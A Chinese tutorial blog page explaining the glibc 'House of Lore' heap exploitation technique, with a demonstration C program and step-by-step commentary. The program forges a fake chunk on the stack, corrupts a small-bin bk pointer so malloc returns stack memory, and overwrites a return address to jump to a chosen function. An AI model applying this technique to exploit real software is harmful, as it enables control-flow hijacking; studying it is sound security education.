House Of Lore原理学习
时间:2022-07-25
本文章向大家介绍House Of Lore原理学习,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
void jackpot(){ fprintf(stderr, "Nice jump d00dn"); exit(0); }
int main(int argc, char * argv[]){
intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};
fprintf(stderr, "定义了两个数组");
fprintf(stderr, "stack_buffer_1 在 %pn", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2 在 %pn", (void*)stack_buffer_2);
intptr_t *victim = malloc(100);
fprintf(stderr, "申请第一块属于 fastbin 的 chunk 在 %pn", victim);
intptr_t *victim_chunk = victim-2;//chunk 开始的位置
fprintf(stderr, "在栈上伪造一块 fake chunkn");
fprintf(stderr, "设置 fd 指针指向 victim chunk,来绕过 small bin 的检查,这样的话就能把堆栈地址放在到 small bin 的列表上n");
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;
fprintf(stderr, "设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2,设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1 来绕过最后一个 malloc 中 small bin corrupted, 返回指向栈上假块的指针");
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
void *p5 = malloc(1000);
fprintf(stderr, "另外再分配一块,避免与 top chunk 合并 %pn", p5);
fprintf(stderr, "Free victim chunk %p, 他会被插入到 fastbin 中n", victim);
free((void*)victim);
fprintf(stderr, "n此时 victim chunk 的 fd、bk 为零n");
fprintf(stderr, "victim->fd: %pn", (void *)victim[0]);
fprintf(stderr, "victim->bk: %pnn", (void *)victim[1]);
fprintf(stderr, "这时候去申请一个 chunk,触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理,最终被整理到 small bin 中 %pn", victim);
void *p2 = malloc(1200);
fprintf(stderr, "现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址n");
fprintf(stderr, "victim->fd: %pn", (void *)victim[0]);
fprintf(stderr, "victim->bk: %pnn", (void *)victim[1]);
fprintf(stderr, "现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上n");
victim[1] = (intptr_t)stack_buffer_1;
fprintf(stderr, "然后申请跟第一个 chunk 大小一样的 chunkn");
fprintf(stderr, "他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bkn");
void *p3 = malloc(100);
fprintf(stderr, "最后 malloc 一次会返回 victim->bk 指向的那里n");
char *p4 = malloc(100);
fprintf(stderr, "p4 = malloc(100)n");
fprintf(stderr, "n在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 %pn",stack_buffer_2[2]);
fprintf(stderr, "np4 在栈上 %pn", p4);
intptr_t sc = (intptr_t)jackpot;
memcpy((p4+40), &sc, 8);
}
intptr_t *victim = malloc(100);
首先申请了一个在 fastbin 范围内的 victim chunk,然后再在栈上构造了一个假的 chunk
为了绕过检测,设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2,设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1
接下来先 malloc 一个防止 free 之后与 top chunk 合并,然后 free 掉 victim,这时候 victim 会被放到 fastbin 中
接下来再去 malloc 一个 large chunk,会触发 fastbin 的合并,然后放到 unsorted bin 中,这样我们的 victim chunk 就放到了 unsorted bin 中,然后最终被 unsorted bin 分配到 small bin 中
参考:
http://blog.topsec.com.cn/pwn的艺术浅谈(二):linux堆相关/
https://bbs.pediy.com/thread-257742.htm
再把 victim 的 bk 指针改为 stack_buffer_1
再次去 malloc 会 malloc 到 victim chunk,再一次 malloc 的话就 malloc 到了 0x00007fffffffdcc0
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 一文带你领略并发编程的内功心法
- HBase监控
- CVPR19-Deep Stacked Hierarchical Multi-patch Network for Image Deblurring
- HTTP缓存机制与Cookie
- 52. Vue使用watch监听网页的URL变化
- 如何设计一个秒杀系统
- SQL注入之dns回显注入
- 只要一行代码,实现五种 CSS 经典布局
- Flutter-引入第三方依赖包
- Hive操作——删除表(drop、truncate)
- 如何搭建redis集群 --- redis-cluster
- IO之Standard IO
- XSS原理详解
- IO之Formatted IO
- 51. Vue名称案例-使用watch监听数据变化